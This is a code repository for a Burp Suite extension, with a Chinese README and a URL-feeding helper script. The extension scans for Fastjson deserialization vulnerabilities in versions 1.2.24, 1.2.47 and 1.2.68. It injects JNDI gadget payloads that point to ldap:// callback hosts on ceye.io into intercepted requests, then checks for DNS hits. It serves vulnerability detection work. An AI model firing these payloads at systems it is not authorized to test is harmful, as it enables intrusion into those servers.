├── FastjsonPatrol.py ├── README.md └── send2fastjsonPatrol.py /FastjsonPatrol.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import re 4 | import requests 5 | from hashlib import md5 6 | import random 7 | from burp import IBurpExtender 8 | from burp import IHttpListener 9 | 10 | def seed(): 11 | seed = md5() 12 | seed.update(str(random.randint(1, 100000))) 13 | return seed.hexdigest()[:12] 14 | 15 | class BurpExtender(IBurpExtender, IHttpListener): 16 | def registerExtenderCallbacks(self, callbacks): 17 | banner = "______ _ _ ______ _ _ \n| ___| | | (_) | ___ \ | | | |\n| |_ __ _ ___| |_ _ ___ ___ _ __ | |_/ /_ _| |_ _ __ ___ | |\n| _/ _` / __| __| / __|/ _ \| '_ \ | __/ _` | __| '__/ _ \| |\n| || (_| \__ \ |_| \__ \ (_) | | | | | | | (_| | |_| | | (_) | |\n\_| \__,_|___/\__| |___/\___/|_| |_| \_| \__,_|\__|_| \___/|_|\n _/ | \n |__/ by automne" 18 | print(banner) 19 | self.callbacks = callbacks 20 | self.helpers = callbacks.getHelpers() 21 | callbacks.setExtensionName('Fastjson Patrol') 22 | callbacks.registerHttpListener(self) 23 | 24 | def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): 25 | response_is_json = False 26 | domain_is_white = False 27 | uri_not_detect = False 28 | if toolFlag == self.callbacks.TOOL_PROXY or toolFlag == self.callbacks.TOOL_REPEATER: 29 | if not messageIsRequest: 30 | resquest = messageInfo.getRequest() 31 | analyzedRequest = self.helpers.analyzeRequest(resquest) 32 | request_header = analyzedRequest.getHeaders() 33 | request_method = analyzedRequest.getMethod() 34 | request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring() 35 | request_host, request_uri = self.get_request_host(request_header) 36 | request_contentType = analyzedRequest.getContentType() 37 | 38 | response = messageInfo.getResponse() 39 | analyzedResponse = self.helpers.analyzeResponse(response) 40 | response_headers = analyzedResponse.getHeaders() 41 | response_bodys = response[analyzedResponse.getBodyOffset():].tostring() 42 | response_statusCode = analyzedResponse.getStatusCode() 43 | expression = r'.*(application/json).*' 44 | for rpheader in response_headers: 45 | if rpheader.startswith("Content-Type:") and re.match(expression, rpheader): 46 | response_is_json = True 47 | 48 | httpService = messageInfo.getHttpService() 49 | port = httpService.getPort() 50 | host = httpService.getHost() 51 | 52 | whitedomains = ['.baidu.com','.163.com'] 53 | blackuris = ['shutdown','shutoff','stop'] 54 | 55 | if response_is_json or request_contentType == 4: 56 | random24 = seed() 57 | random47 = seed() 58 | random68 = seed() 59 | 60 | Payload24 = '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://'+ str(random24) + '.xxxx.ceye.io/abc","autoCommit":true}}' 61 | Payload47 = '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://'+ str(random47) + '.xxxx.ceye.io/abc","autoCommit":true}}' 62 | Body24 = self.helpers.stringToBytes(Payload24) 63 | Body47 = self.helpers.stringToBytes(Payload47) 64 | 65 | Payload68_1 = '{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://'+ str(random68) + '.xxxx.ceye.io/abc"}' 66 | Payload68_2 = '{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://'+ str(random68) + '.xxxx.ceye.io/abc"}' 67 | Payload68_3 = '{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://'+ str(random68) + '.xxxx.ceye.io/abc"}' 68 | Body68_1 = self.helpers.stringToBytes(Payload68_1) 69 | Body68_2 = self.helpers.stringToBytes(Payload68_2) 70 | Body68_3 = self.helpers.stringToBytes(Payload68_3) 71 | 72 | if request_method == 'GET': 73 | #print 'Got GET-JSON Request ---> Change To POST Request' 74 | newRequest = self.helpers.toggleRequestMethod(resquest) 75 | newAnalyzedRequest = self.helpers.analyzeRequest(newRequest) 76 | newRequestheader = newAnalyzedRequest.getHeaders() 77 | newRequestheader = '$$'.join(newRequestheader).replace("application/x-www-form-urlencoded","application/json") 78 | newRequestheader = newRequestheader.encode('utf-8').split('$$') 79 | Request24 = self.helpers.buildHttpMessage(newRequestheader, Body24) 80 | Request47 = self.helpers.buildHttpMessage(newRequestheader, Body47) 81 | Request68_1 = self.helpers.buildHttpMessage(newRequestheader,Body68_1) 82 | Request68_2 = self.helpers.buildHttpMessage(newRequestheader,Body68_2) 83 | Request68_3 = self.helpers.buildHttpMessage(newRequestheader,Body68_3) 84 | else: 85 | Request24 = self.helpers.buildHttpMessage(request_header, Body24) 86 | Request47 = self.helpers.buildHttpMessage(request_header, Body47) 87 | Request68_1 = self.helpers.buildHttpMessage(request_header, Body68_1) 88 | Request68_2 = self.helpers.buildHttpMessage(request_header, Body68_2) 89 | Request68_3 = self.helpers.buildHttpMessage(request_header, Body68_3) 90 | ishttps = False 91 | expression = r'.*(443).*' 92 | if re.match(expression, str(port)): 93 | ishttps = True 94 | 95 | for white in whitedomains: 96 | if white in request_host: 97 | domain_is_white = True 98 | for black in blackuris: 99 | if black in request_uri: 100 | uri_not_detect = True 101 | if re.match(r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}(:[0-9]{1,5})*$",request_host) or domain_is_white: 102 | print "request_host:"+request_host 103 | print "request_uri:"+request_uri 104 | if uri_not_detect: 105 | pass 106 | else: 107 | rep24 = self.callbacks.makeHttpRequest(host, port, ishttps, Request24) 108 | rep47 = self.callbacks.makeHttpRequest(host, port, ishttps, Request47) 109 | rep68_1 = self.callbacks.makeHttpRequest(host, port, ishttps, Request68_1) 110 | rep68_2 = self.callbacks.makeHttpRequest(host, port, ishttps, Request68_2) 111 | rep68_3 = self.callbacks.makeHttpRequest(host, port, ishttps, Request68_3) 112 | r = requests.get("http://api.ceye.io/v1/records?token=your_token_string&type=dns&filter=" + str(random24)) 113 | r2 = requests.get("http://api.ceye.io/v1/records?token=your_token_string&type=dns&filter=" + str(random47)) 114 | r3 = requests.get("http://api.ceye.io/v1/records?token=your_token_string&type=dns&filter=" + str(random68)) 115 | if ((random24 in r.content) and (r.status_code == 200)): 116 | messageInfo.setHighlight('red') 117 | print "[!] Target Locked Request Fire" 118 | print "\t[-] host:" + str(host) + " port:" + str(port) 119 | print "\t[-] fastjson<=1.2.24 detected!" 120 | print "\t[-] playload:" + str(Payload24) + "\r\n" 121 | if ((random47 in r2.content) and (r.status_code == 200)): 122 | messageInfo.setHighlight('red') 123 | print "[!] Target Locked Request Fire" 124 | print "\t[-] host:" + str(host) + " port:" + str(port) 125 | print "\t[-] fastjson<=1.2.47 detected!" 126 | print "\t[-] playload:" + str(Payload47) + "\r\n" 127 | if ((random68 in r3.content) and (r.status_code == 200)): 128 | messageInfo.setHighlight('red') 129 | print "[!] Target Locked Request Fire" 130 | print "\t[-] host:" + str(host) + " port:" + str(port) 131 | print "\t[-] fastjson<=1.2.68 detected!" 132 | print "\t[-] playload: Please Confirm Manually \r\n" 133 | 134 | def get_request_host(self, reqHeaders): 135 | uri = reqHeaders[0].split(' ')[1] 136 | reqHeaders_str = ','.join(reqHeaders) 137 | host = re.search(r'Host: .*,',reqHeaders_str,re.M|re.I).group() 138 | host = host.split(',')[0].split(': ')[1] 139 | return host, uri 140 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Fastjson-Patrol 2 | 3 | 一款python编写的探测fastjson反序列化漏洞的BurpSuite插件 4 | 通过ceye探测fastjson 1.2.24、1.2.47和1.2.68版本的反序列化漏洞,请自行配置ceye的api-token和私有路径 5 | 6 | ① 注册登录ceye.io平台后,使用**私有路径**替换掉FastjsonPatrol.py代码里如下图所示的xxxx字符串,注意Payload24/Payload47/Payload68_1/Payload68_2/Payload68_3这几个变量都要替换 7 | ![image](https://user-images.githubusercontent.com/20917372/161260412-dfe3aee6-b8eb-430d-836d-0547ab177c77.png) 8 | 9 | ②另外使用**api-token**替换掉FastjsonPatrol.py代码的如下图标记处即可 10 | ![image](https://user-images.githubusercontent.com/20917372/161261286-6c63bea3-a258-463e-8391-6c1090eee92e.png) 11 | 12 | ③ 为了有针对性地扫描,程序只会对whitedomains里配置的**域名结尾**的资产以及**ip资产**进行漏洞探测,blackuris里用于配置不进行漏洞探测的url路径关键词 13 | ![image](https://user-images.githubusercontent.com/20917372/161261772-7a91d278-9e34-4329-885a-d6a2a97e9f3b.png) 14 | 15 | ![image](https://user-images.githubusercontent.com/20917372/161263122-1ca82a54-9319-4b53-b9dc-f66d458b97ed.png) 16 | 17 | 18 | ## 插件安装 19 | 20 | 插件使用了python的requests库,请在BurpSuite里配置,如下图所示 21 | ``` 22 | pip install requests==2.21.0 23 | ``` 24 | 25 | ![image](https://user-images.githubusercontent.com/20917372/115944170-bf121a00-a4e6-11eb-8dbb-2da5edd55f70.png) 26 | 27 | 28 | ## 说明 29 | 30 | 1. 支持设置允许发送payload的白名单域名和屏蔽反复出现的无价值路径,请按需配置 31 | 2. **支持将返回响应为application/json的Get型请求自动转化为Post型请求并发送探测payload** 32 | 3. 为避免通过Post触发服务端的/shutdown等路径导致服务下线,代码中添加了相应的黑名单路径 33 | 4. 添加了send2fastjsonPatrol.py文件,用于将想要测试的url地址流量转向burpsuite插件来做批量测试,注意该文件需要手动使用python触发 34 | 35 | ## 插件使用效果 36 | 37 | ![image](https://user-images.githubusercontent.com/20917372/110191993-8e0e5500-7e66-11eb-9bfc-1d250743aef5.png) 38 | 39 | ## 免责声明 40 | 41 | 仅作为技术研究,请自觉遵纪守法,勿用于非法用途 42 | -------------------------------------------------------------------------------- /send2fastjsonPatrol.py: -------------------------------------------------------------------------------- 1 | #encoding=utf-8 2 | 3 | #the reason of not using requests.post is because it will send plenty of payloads to those servers not using json 4 | 5 | import requests 6 | 7 | #headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36","Content-Type":"application/json"} 8 | 9 | headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"} 10 | 11 | proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"} 12 | 13 | #body = '{"uid": "1337"}' 14 | 15 | with open("urls.txt","r") as f: 16 | for line in f: 17 | print(line) 18 | try: 19 | r = requests.get(url=line,headers=headers,proxies=proxies,verify=False,allow_redirects=False,timeout=3) 20 | except: 21 | pass 22 | 23 | --------------------------------------------------------------------------------